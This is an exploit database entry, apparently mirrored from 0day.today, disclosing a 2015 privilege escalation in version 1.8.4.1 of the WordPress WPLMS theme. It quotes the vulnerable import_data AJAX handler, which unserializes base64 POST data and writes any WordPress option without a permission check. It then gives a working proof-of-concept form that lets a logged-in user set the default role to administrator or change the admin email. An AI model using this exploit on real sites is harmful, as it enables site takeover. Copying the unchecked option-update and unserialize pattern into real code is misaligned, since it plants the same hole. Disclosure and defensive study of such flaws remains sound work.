Lucene search
K

WordPress WPLMS 1.8.4.1 Privilege Escalation Vulnerability

🗓️ 09 Feb 2015 00:00:00Reported by EvexType 
zdt
 zdt
🔗 0day.today👁 20 Views

WordPress WPLMS Theme 1.8.4.1 Privilege Escalation Vulnerability in import_data functio

Code
------------------------------------------------------------------------------
WordPress WPLMS Theme Previlege Escalation
------------------------------------------------------------------------------

[-] Author: Evex

http://packetstormsecurity.com/user/evex/
twitter: https://twitter.com/Evexola

[-] Theme Link:

http://themeforest.net/item/wplms-learning-management-system/6780226


[-] Affected Version:

Version 1.8.4.1


[-] Vulnerability Description:

The vulnerable code is located in the /includes/func.php
script:


add_action( 'wp_ajax_import_data', 'import_data' );
function import_data(){
  $name = stripslashes($_POST['name']);
  $code = base64_decode(trim($_POST['code']));
  if(is_string($code))
    $code = unserialize ($code);
  $value = get_option($name);
  if(isset($value)){
    update_option($name,$code);
  }else{
    echo "Error, Option does not exist !";
  }
  die();
}


then function import_data can be called by logged in users
and executed which can lead to modifying wordpress settings and adding a
new administrator which may cause the site a full take over


[-] Proof of Concept:


(Must be submited with a logged in user)
OPTION:
admin_email, default_role, users_can_register

Value(must be serialized then encoded by base64):
users_can_register (0,1)

default_role (administrator, author, editor...)

admin_email( [email protected] )

<form action="http://domain.tld/wp-admin/admin-ajax.php?action=import_data"
method="post" >
  <input type="hidden" name="name" value="OPTION" />
  <input type="hidden" name="code" value="VALUE" />
  <button type="submit" >Submit</button>
</form>

#  0day.today [2018-04-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation